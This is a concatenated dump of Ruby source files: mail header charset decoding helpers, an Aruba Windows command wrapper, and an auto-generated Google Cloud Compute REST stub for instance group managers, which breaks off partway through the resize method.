[Ruby19.encode_base64(str), encoding]
end
def Ruby19.b_value_decode(str)
match = str.match(/\=\?(.+)?\?[Bb]\?(.+)?\?\=/m)
if match
charset = match[1]
str = Ruby19.decode_base64(match[2])
str.force_encoding(pick_encoding(charset))
end
decoded = str.encode("utf-8", :invalid => :replace, :replace => "")
decoded.valid_encoding? ? decoded : decoded.encode("utf-16le", :invalid => :replace, :replace => "").encode("utf-8")
end
def Ruby19.q_value_encode(str, encoding = nil)
encoding = str.encoding.to_s
[Encodings::QuotedPrintable.encode(str), encoding]
end
def Ruby19.q_value_decode(str)
match = str.match(/\=\?(.+)?\?[Qq]\?(.+)?\?\=/m)
if match
charset = match[1]
string = match[2].gsub(/_/, '=20')
# Remove trailing = if it exists in a Q encoding
string = string.sub(/\=$/, '')
str = Encodings::QuotedPrintable.decode(string)
str.force_encoding(pick_encoding(charset))
end
decoded = str.encode("utf-8", :invalid => :replace, :replace => "")
decoded.valid_encoding? ? decoded : decoded.encode("utf-16le", :invalid => :replace, :replace => "").encode("utf-8")
rescue Encoding::UndefinedConversionError
str.dup.force_encoding("utf-8")
end
def Ruby19.param_decode(str, encoding)
string = uri_parser.unescape(str)
string.force_encoding(encoding) if encoding
string
end
def Ruby19.param_encode(str)
encoding = str.encoding.to_s.downcase
language = Configuration.instance.param_encode_language
"#{encoding}'#{language}'#{uri_parser.escape(str)}"
end
def Ruby19.uri_parser
@uri_parser ||= URI::Parser.new
end
# Pick a Ruby encoding corresponding to the message charset. Most
# charsets have a Ruby encoding, but some need manual aliasing here.
#
# TODO: add this as a test somewhere:
# Encoding.list.map { |e| [e.to_s.upcase == pick_encoding(e.to_s.downcase.gsub("-", "")), e.to_s] }.select {|a,b| !b}
# Encoding.list.map { |e| [e.to_s == pick_encoding(e.to_s), e.to_s] }.select {|a,b| !b}
def Ruby19.pick_encoding(charset)
case charset
# ISO-8859-15, ISO-2022-JP and alike
when /iso-?(\d{4})-?(\w{1,2})/i
"ISO-#{$1}-#{$2}"
# "ISO-2022-JP-KDDI" and alike
when /iso-?(\d{4})-?(\w{1,2})-?(\w*)/i
"ISO-#{$1}-#{$2}-#{$3}"
# UTF-8, UTF-32BE and alike
when /utf-?(\d{1,2})?(\w{1,2})/i
"UTF-#{$1}#{$2}".gsub(/\A(UTF-(?:16|32))\z/, '\\1BE')
# Windows-1252 and alike
when /Windows-?(.*)/i
"Windows-#{$1}"
when /^8bit$/
Encoding::ASCII_8BIT
# Microsoft-specific alias for CP949 (Korean)
when 'ks_c_5601-1987'
Encoding::CP949
# Wrongly written Shift_JIS (Japanese)
when 'shift-jis'
Encoding::Shift_JIS
# GB2312 (Chinese charset) is a subset of GB18030 (its replacement)
when /gb2312/i
Encoding::GB18030
else
# if nothing found return the plain string but only if Encoding can handle it.
# If not, fall back to ASCII.
begin
Encoding.find(charset)
charset
rescue ArgumentError
Encoding::ASCII
end
end
end
end
end
| 29.539474 | 123 | 0.572606 |
91b3b7ff7a5fefc9950dcf524861069b987cd239 | 461 | require 'delegate'
# Aruba
module Aruba
# Platforms
module Platforms
# This is a command which should be run
#
# This adds `cmd.exec` in front of commmand
#
# @private
class WindowsCommandString < SimpleDelegator
def initialize(cmd)
__setobj__ format('%s /c "%s"', Aruba.platform.which('cmd.exe'), cmd)
end
# Convert to array
def to_a
Shellwords.split __getobj__
end
end
end
end
| 19.208333 | 77 | 0.62256 |
ac18809a1790157f51fdf203ac4e4adc854ef688 | 53,400 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "google/cloud/compute/v1/compute_pb"
module Google
module Cloud
module Compute
module V1
module InstanceGroupManagers
module Rest
##
# REST service stub for the InstanceGroupManagers service.
# service stub contains baseline method implementations
# including transcoding, making the REST call and deserialing the response
#
class ServiceStub
def initialize endpoint:, credentials:
# These require statements are intentionally placed here to initialize
# the REST modules only when it's required.
require "gapic/rest"
@client_stub = ::Gapic::Rest::ClientStub.new endpoint: endpoint, credentials: credentials
end
##
# Baseline implementation for the abandon_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::AbandonInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def abandon_instances request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_abandon_instances_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the abandon_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::AbandonInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_abandon_instances_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/abandonInstances"
body = request_pb.instance_group_managers_abandon_instances_request_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the aggregated_list REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::AggregatedListInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::InstanceGroupManagerAggregatedList]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::InstanceGroupManagerAggregatedList]
# A result object deserialized from the server's reply
def aggregated_list request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, _body, query_string_params = transcode_aggregated_list_request request_pb
response = @client_stub.make_get_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::InstanceGroupManagerAggregatedList.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the aggregated_list REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::AggregatedListInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_aggregated_list_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/aggregated/instanceGroupManagers"
body = nil
query_string_params = {}
query_string_params["filter"] = request_pb.filter.to_s if request_pb.has_filter?
query_string_params["includeAllScopes"] = request_pb.include_all_scopes.to_s if request_pb.has_include_all_scopes?
query_string_params["maxResults"] = request_pb.max_results.to_s if request_pb.has_max_results?
query_string_params["orderBy"] = request_pb.order_by.to_s if request_pb.has_order_by?
query_string_params["pageToken"] = request_pb.page_token.to_s if request_pb.has_page_token?
query_string_params["returnPartialSuccess"] = request_pb.return_partial_success.to_s if request_pb.has_return_partial_success?
[uri, body, query_string_params]
end
##
# Baseline implementation for the apply_updates_to_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ApplyUpdatesToInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def apply_updates_to_instances request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, _query_string_params = transcode_apply_updates_to_instances_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the apply_updates_to_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ApplyUpdatesToInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_apply_updates_to_instances_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/applyUpdatesToInstances"
body = request_pb.instance_group_managers_apply_updates_request_resource.to_json
query_string_params = {}
[uri, body, query_string_params]
end
##
# Baseline implementation for the create_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::CreateInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def create_instances request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_create_instances_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the create_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::CreateInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_create_instances_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/createInstances"
body = request_pb.instance_group_managers_create_instances_request_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the delete REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::DeleteInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def delete request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, _body, query_string_params = transcode_delete_request request_pb
response = @client_stub.make_delete_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the delete REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::DeleteInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_delete_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}"
body = nil
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the delete_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::DeleteInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def delete_instances request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_delete_instances_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the delete_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::DeleteInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_delete_instances_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/deleteInstances"
body = request_pb.instance_group_managers_delete_instances_request_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the delete_per_instance_configs REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::DeletePerInstanceConfigsInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def delete_per_instance_configs request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, _query_string_params = transcode_delete_per_instance_configs_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the delete_per_instance_configs REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::DeletePerInstanceConfigsInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_delete_per_instance_configs_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/deletePerInstanceConfigs"
body = request_pb.instance_group_managers_delete_per_instance_configs_req_resource.to_json
query_string_params = {}
[uri, body, query_string_params]
end
##
# Baseline implementation for the get REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::GetInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::InstanceGroupManager]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::InstanceGroupManager]
# A result object deserialized from the server's reply
def get request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, _body, _query_string_params = transcode_get_request request_pb
response = @client_stub.make_get_request(
uri: uri,
options: options
)
result = ::Google::Cloud::Compute::V1::InstanceGroupManager.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the get REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::GetInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_get_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}"
body = nil
query_string_params = {}
[uri, body, query_string_params]
end
##
# Baseline implementation for the insert REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::InsertInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def insert request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_insert_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the insert REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::InsertInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_insert_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers"
body = request_pb.instance_group_manager_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the list REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ListInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::InstanceGroupManagerList]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::InstanceGroupManagerList]
# A result object deserialized from the server's reply
def list request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, _body, query_string_params = transcode_list_request request_pb
response = @client_stub.make_get_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::InstanceGroupManagerList.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the list REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ListInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_list_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers"
body = nil
query_string_params = {}
query_string_params["filter"] = request_pb.filter.to_s if request_pb.has_filter?
query_string_params["maxResults"] = request_pb.max_results.to_s if request_pb.has_max_results?
query_string_params["orderBy"] = request_pb.order_by.to_s if request_pb.has_order_by?
query_string_params["pageToken"] = request_pb.page_token.to_s if request_pb.has_page_token?
query_string_params["returnPartialSuccess"] = request_pb.return_partial_success.to_s if request_pb.has_return_partial_success?
[uri, body, query_string_params]
end
##
# Baseline implementation for the list_errors REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ListErrorsInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::InstanceGroupManagersListErrorsResponse]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::InstanceGroupManagersListErrorsResponse]
# A result object deserialized from the server's reply
def list_errors request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, _body, query_string_params = transcode_list_errors_request request_pb
response = @client_stub.make_get_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::InstanceGroupManagersListErrorsResponse.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the list_errors REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ListErrorsInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_list_errors_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/listErrors"
body = nil
query_string_params = {}
query_string_params["filter"] = request_pb.filter.to_s if request_pb.has_filter?
query_string_params["maxResults"] = request_pb.max_results.to_s if request_pb.has_max_results?
query_string_params["orderBy"] = request_pb.order_by.to_s if request_pb.has_order_by?
query_string_params["pageToken"] = request_pb.page_token.to_s if request_pb.has_page_token?
query_string_params["returnPartialSuccess"] = request_pb.return_partial_success.to_s if request_pb.has_return_partial_success?
[uri, body, query_string_params]
end
##
# Baseline implementation for the list_managed_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ListManagedInstancesInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::InstanceGroupManagersListManagedInstancesResponse]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::InstanceGroupManagersListManagedInstancesResponse]
# A result object deserialized from the server's reply
def list_managed_instances request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, _body, query_string_params = transcode_list_managed_instances_request request_pb
response = @client_stub.make_post_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::InstanceGroupManagersListManagedInstancesResponse.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the list_managed_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ListManagedInstancesInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_list_managed_instances_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/listManagedInstances"
body = nil
query_string_params = {}
query_string_params["filter"] = request_pb.filter.to_s if request_pb.has_filter?
query_string_params["maxResults"] = request_pb.max_results.to_s if request_pb.has_max_results?
query_string_params["orderBy"] = request_pb.order_by.to_s if request_pb.has_order_by?
query_string_params["pageToken"] = request_pb.page_token.to_s if request_pb.has_page_token?
query_string_params["returnPartialSuccess"] = request_pb.return_partial_success.to_s if request_pb.has_return_partial_success?
[uri, body, query_string_params]
end
##
# Baseline implementation for the list_per_instance_configs REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ListPerInstanceConfigsInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::InstanceGroupManagersListPerInstanceConfigsResp]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::InstanceGroupManagersListPerInstanceConfigsResp]
# A result object deserialized from the server's reply
def list_per_instance_configs request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, _body, query_string_params = transcode_list_per_instance_configs_request request_pb
response = @client_stub.make_post_request(
uri: uri,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::InstanceGroupManagersListPerInstanceConfigsResp.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the list_per_instance_configs REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ListPerInstanceConfigsInstanceGroupManagersRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_list_per_instance_configs_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/listPerInstanceConfigs"
body = nil
query_string_params = {}
query_string_params["filter"] = request_pb.filter.to_s if request_pb.has_filter?
query_string_params["maxResults"] = request_pb.max_results.to_s if request_pb.has_max_results?
query_string_params["orderBy"] = request_pb.order_by.to_s if request_pb.has_order_by?
query_string_params["pageToken"] = request_pb.page_token.to_s if request_pb.has_page_token?
query_string_params["returnPartialSuccess"] = request_pb.return_partial_success.to_s if request_pb.has_return_partial_success?
[uri, body, query_string_params]
end
##
# Baseline implementation for the patch REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::PatchInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def patch request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_patch_request request_pb
response = @client_stub.make_patch_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the patch REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::PatchInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_patch_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}"
body = request_pb.instance_group_manager_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the patch_per_instance_configs REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::PatchPerInstanceConfigsInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def patch_per_instance_configs request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_patch_per_instance_configs_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the patch_per_instance_configs REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::PatchPerInstanceConfigsInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_patch_per_instance_configs_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/patchPerInstanceConfigs"
body = request_pb.instance_group_managers_patch_per_instance_configs_req_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the recreate_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::RecreateInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def recreate_instances request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, body, query_string_params = transcode_recreate_instances_request request_pb
response = @client_stub.make_post_request(
uri: uri,
body: body,
params: query_string_params,
options: options
)
result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true
yield result, response if block_given?
result
end
##
# GRPC transcoding helper method for the recreate_instances REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::RecreateInstancesInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @return [Array(String, [String, nil], Hash{String => String})]
# Uri, Body, Query string parameters
def transcode_recreate_instances_request request_pb
uri = "/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/instanceGroupManagers/#{request_pb.instance_group_manager}/recreateInstances"
body = request_pb.instance_group_managers_recreate_instances_request_resource.to_json
query_string_params = {}
query_string_params["requestId"] = request_pb.request_id.to_s if request_pb.has_request_id?
[uri, body, query_string_params]
end
##
# Baseline implementation for the resize REST call
#
# @param request_pb [::Google::Cloud::Compute::V1::ResizeInstanceGroupManagerRequest]
# A request object representing the call parameters. Required.
# @param options [::Gapic::CallOptions]
# Overrides the default settings for this call, e.g, timeout, retries etc. Optional.
#
# @yield [result, response] Access the result along with the Faraday response object
# @yieldparam result [::Google::Cloud::Compute::V1::Operation]
# @yieldparam response [::Faraday::Response]
#
# @return [::Google::Cloud::Compute::V1::Operation]
# A result object deserialized from the server's reply
def resize request_pb, options = nil
raise ::ArgumentError, "request must be provided" if request_pb.nil?
uri, _body, query_string_params = transcode_resize_request request_pb
response = @client_stub.make_post_request(
uri: uri,
params: query_string_params,
options: options
)
